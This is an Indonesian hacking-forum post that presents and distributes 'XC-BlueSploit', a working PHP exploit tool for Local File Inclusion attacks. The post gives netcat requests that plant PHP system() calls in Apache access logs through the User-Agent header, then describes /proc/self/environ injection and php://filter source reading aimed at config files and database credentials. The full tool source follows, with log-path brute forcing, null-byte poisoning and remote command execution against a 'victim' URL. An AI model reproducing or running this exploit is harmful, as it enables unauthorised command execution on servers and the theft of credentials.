untuk sekarang fungsinya belum banyak, LFI ALI, LFI Environ, View Source (LFI to LFD.)
Memakai Apache Log Injection:
Exploit ini menggunakan access log, lho banyak tutor nyarani pake error log.
ya pengen beda aja, access log lebih mudah tercatat dibandingkan error log.
Saya liat lagi injeksinya kok pada user-agent biasanya kan klw LFI pake URL.
C:\Users\Regel>nc -v victim.com 80
ANASKI-PC [127.0.0.1] 80 (http) open
GET /<?php echo system($_GET['x']);?> HTTP/1.1
Host: victim.com
User-Agent: firefox
dibuat pada user-agent agar apache tidak men-encode kedalam bentuk URL.
jadi reguestnya saya bikin seperti ini:
C:\Users\Regel>nc -v victim.com 80
ANASKI-PC [127.0.0.1] 80 (http) open
GET /index.php?page=../../logs/pc.pasbar.com HTTP/1.1
Host: victim.com
XC-RCE: ls -laF
User-Agent: <?php @system(\$_SERVER['HTTP_XC_RCE'])?>
jadi gampang deh terexcute. kayak pake environ dunk,, yup, sama.
Pake toolnya seperti ini:
1. Pertama masukan alamat url victim
2. Klik Playload
3. Klik Brute Apache Logs, untuk mendapatkan posisi path lognya.
4. Isi perintahnya pada input command dan klik Command Excute yang sejajar dengan Brute Apache Logs
Memakai Environ Injection
sama kq, masukan URL victim.. path environ udah diset permanen. tinggal bubuhi Command dan klik Command Excute
ViewSource:
nih ide dari Dadat Ramadhan, melihat source code dengan wrapper.
Wrapper melupakan salah satu function untuk read/write secara stream.
seperti membuat function untuk ftp, sftp, zip, gzip, baca file ogg dan lain2.
php://stdin
php://stdout
php://stderr
php://output
php://input
php://filter (available since PHP 5.0.0)
php://memory (available since PHP 5.1.0)
php://temp (available since PHP 5.1.0)
ogg://soundfile.ogg
ftp://example.com/pub/file.txt
ftp://user:password@example.com/pub/file.txt
ftps://example.com/pub/file.txt
ftps://user:password@example.com/pub/file.txt
<?php
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");?>
ini bisa dimamfaatin buat nampilin source scripts php.
php://filter/read=convert.base64-encode/resource=
klw instannya pake tool
1. Masukan URL victim.
2. Masukan file yang mau dibaca.
3. Klik Read file
cari config dan remote MySQL

.
nih barangnya:
<?php
/**
* @author BlueBoyz
* @category LFI BlueSploit
* @copyright 2012 ExploreCrew.Org
* @version 1.0.0
* @Notice For Education Only.
*
* Persyaratan:
* - magic_quotes_gpc disable (environ/ali)
* - curl
*
* ** Nih tool memakan resource bandwith cukup tinggi,jadi gunakan secara bijak.
* ** Yang ngedit boleh, asal thankto jangan dikurangi
* ** Kami & Nick/Nama/Forum tercantum didalam exploit tidak bertanggung jawab segala yang timbul akibat exploit ini.
* ** Jadi resiko ditanggung sipemakai.
* ** Gak setuju, silahkan rm -rf lfi.php
*
* Happy happing :D
*
*/
error_reporting(0);$thankto = "JFry_@Anaski, ArRay@XC, afika666@DC, Dadat Ramadhan, @ExploreCrew and You";
$PoisonNull = @$_POST['null'] ; //Poison NULL Bytes (magic_quotes_gpc must be disabled)
function jHTTP($languagge='en_gb', $method='POST',$url,$data,$header=NULL){
$ch = curl_init();
if ($method == 'POST'){
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POST, TRUE );
curl_setopt($ch, CURLOPT_POSTFIELDS,$data );
}elseif($method == 'GET'){
curl_setopt($ch, CURLOPT_URL,$url.''.$data);
}elseif($method == 'UPLOAD'){
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if($header == null){
$header = array('Accept-Language: '.$languagge.',en-us;q=0.7,en;q=0.3');
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0');
}
curl_setopt($ch, CURLOPT_HTTPHEADER,$header) ;
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
return curl_exec($ch);
curl_close($ch);
}
function LogsBrute($url,$null){
$domain = parse_url($url);
$access_log[] = "/xampp/apache/logs/access.log".$null; //xampp win
$access_log[] = "/apache/logs/access_log".$null;
$access_log[] = "/apache/logs/access.log".$null;
$access_log[] = "/var/log/httpd/access_log".$null;
$access_log[] = "/var/log/httpd/access.log".$null;
$access_log[] = "/var/log/access_log".$null;
$access_log[] = "/var/log/access.log".$null;
$access_log[] = "/var/log/apache/access_log".$null;
$access_log[] = "/var/log/apache/access.log".$null;
$access_log[] = "/var/www/logs/access_log".$null;
$access_log[] = "/var/www/logs/access.log".$null;
$access_log[] = "/logs/access.log";
$access_log[] = "/logs/access_log";
$access_log[] = "/etc/httpd/logs/access_log".$null;
$access_log[] = "/etc/httpd/logs/access.log".$null;
$access_log[] = "/usr/local/apache/logs/access_log".$null;
$access_log[] = "/usr/local/apache/logs/access.log".$null;
$dirTraversal = null;
for ($i=0;$i<5;$i++){
$dirTraversal = "../".$dirTraversal;
$access_log[] = trim($dirTraversal)."access-logs/".@$domain['host'].$null;
$access_log[] = trim($dirTraversal)."apache/logs/access.log".$null;
$access_log[] = trim($dirTraversal)."apache/logs/access_log".$null;
}
for ($i=0;$i<count($access_log);$i++){
$output = jHTTP('id','GET',$url.$access_log[$i],'',null);
if (preg_match('/XCLFI/', $output)) {
$ret = $access_log[$i];
}
}
return $ret;
};
$html = null;
if(isset($_POST['playload'])){
$header = array(
"Accept-Language: id,en-us;q=0.7,en;q=0.3",
"User-Agent: XCLFI<?php @system(\$_SERVER['HTTP_XC_RCE'])?>XCLFI Firefox/8.0"
);
$ret = jHTTP('id','GET',$_POST['url'].'test','',$header);
if (preg_match('/test\\\0/', $ret)) {
$html = "Sorry!!! Not Vulnerable, magic_quotes_gpc must be disabled. Use viewsource for manual attack.";
}else{
$html = "OK...! Try exploit Environ or ALI";
}
}
if(isset($_POST['logsbrute'])){
$logbrute = LogsBrute($_POST['url'],$PoisonNull) ;
$_POST['logs'] = $logbrute;
$html = "Logs : ".$logbrute;
}
if(isset($_POST['excute-ali'])){
$header = array(
'Accept-Language: id,en-us;q=0.7,en;q=0.3',
'XC-RCE: '.$_POST['cmd'],
'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0'
);
$ret = jHTTP('id','GET',$_POST['url'].$_POST['logs'].$_POST['null'],'',$header);
$cmd = explode('XCLFI',$ret);
$html = @$cmd[1];
}
if(isset($_POST['read-file'])){
$ret = jHTTP('id','GET',$_POST['url']."php://filter/read=convert.base64-encode/resource=".$_POST['path'].$_POST['null'],"","");
$exp_ret = explode('PD9',$ret);
$base64_str = explode(' ',$exp_ret[1]);
if($base64_str[0]==null){
$html = $ret;
}else{
$html = highlight_string(base64_decode("PD9".$base64_str[0]),1);
}
}
if(isset($_POST['excute-env'])){
$header = array(
'Accept-Language: id,en-us;q=0.7,en;q=0.3',
'XC-RCE: '.$_POST['cmd'],
'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0'
);
$ret = jHTTP('id','GET',$_POST['url']."../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ".$_POST['null'],"",$header);
$cmd = explode('XCLFI',$ret);
$html = @$cmd[1];
}?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<meta name="author" content="Viva ExploreCrew" />
<title>Local File Inclusion XC-BlueSploit</title>
<style type="text/css">
<!--
body{background: #333; color: #ddd;}
form{background: #222; width: 90%;margin: auto; border: 1px solid #000; border-radius: 15px; padding: 5px;}
input{background: #000; color: green; border: 1px solid #777;border-radius: 2px;}
table{background: #111; margin: auto; padding: 10px; width: 90%;border-radius: 5px;}
h1{text-align: center; color: red;}
h3{text-align: center; color: green;}
pre{border: 1px solid #000; margin: 3px;padding: 3px; background: #000;}
h1,h2,h3,h4,h5{text-indent: inherit; margin: 0;}
em{color: yellow; font-size: 75%;}
-->
</style>
</head>
<body>
<form action="" method="post" action="" >
<h1>..:: Local File Inclusion XC-BlueSploit ::..</h1>
<h3>Environ ~ Access Log ~ Wrapper</h3>
<p> </p>
<table border="0">
<tr>
<td>Url Victim : <input type="url" name="url" value="<?php echo @$_POST['url'] ?>" size="50" /> eg: http://victim.com/?page=</td>
<td>Poison NULL Bytes : <input type="text" name="null" value="<?php echo @$_POST['null'] ?>" size="5" /> eg: </td>
</tr>
<tr>
<td></td>
<td><input type="submit" name="playload" value="PlayLoad" /></td>
</tr>
</table>
<br />
<table border="0">
<tr>
<td>Command</td>
<td>: <input type="text" name="cmd" value="<?php echo @$_POST['cmd'] ?>" size="50"/> eg: ls -laF</td>
<td>
</td>
</tr>
<tr>
<td>Environ Injection</td>
<td>: <input type="text" name="environ" value="/proc/self/environ" size="75"/></td>
<td>
<input type="submit" name="excute-env" value="Command Excute" />
</td>
</tr>
<tr>
<td>Apache Log Injection</td>
<td>: <input type="text" name="logs" value="<?php echo @$_POST['logs'] ?>" size="75" /> Use brute.</td>
<td>
<input type="submit" name="logsbrute" value="Brute Apache Logs" />
<input type="submit" name="excute-ali" value="Command Excute" />
</td>
</tr>
<tr>
<td>View Source</td>
<td>: <input type="text" name="path" value="<?php echo @$_POST['path'] ?>" size="75" /> eg: config</td>
<td>
<input type="submit" name="read-file" value="Read File" />
</td>
</tr>
</table>
<h3>Respone Attack</h3>
<pre>
<?php
print_r($html);?></pre>
<em>Thank To: <?php echo $thankto ?></em>
</form>
</body>
</html>
Copyright :
Regel@DC
Narasumber : http://devilzc0de.org/forum/thread-14484-post-180433.html#pid180433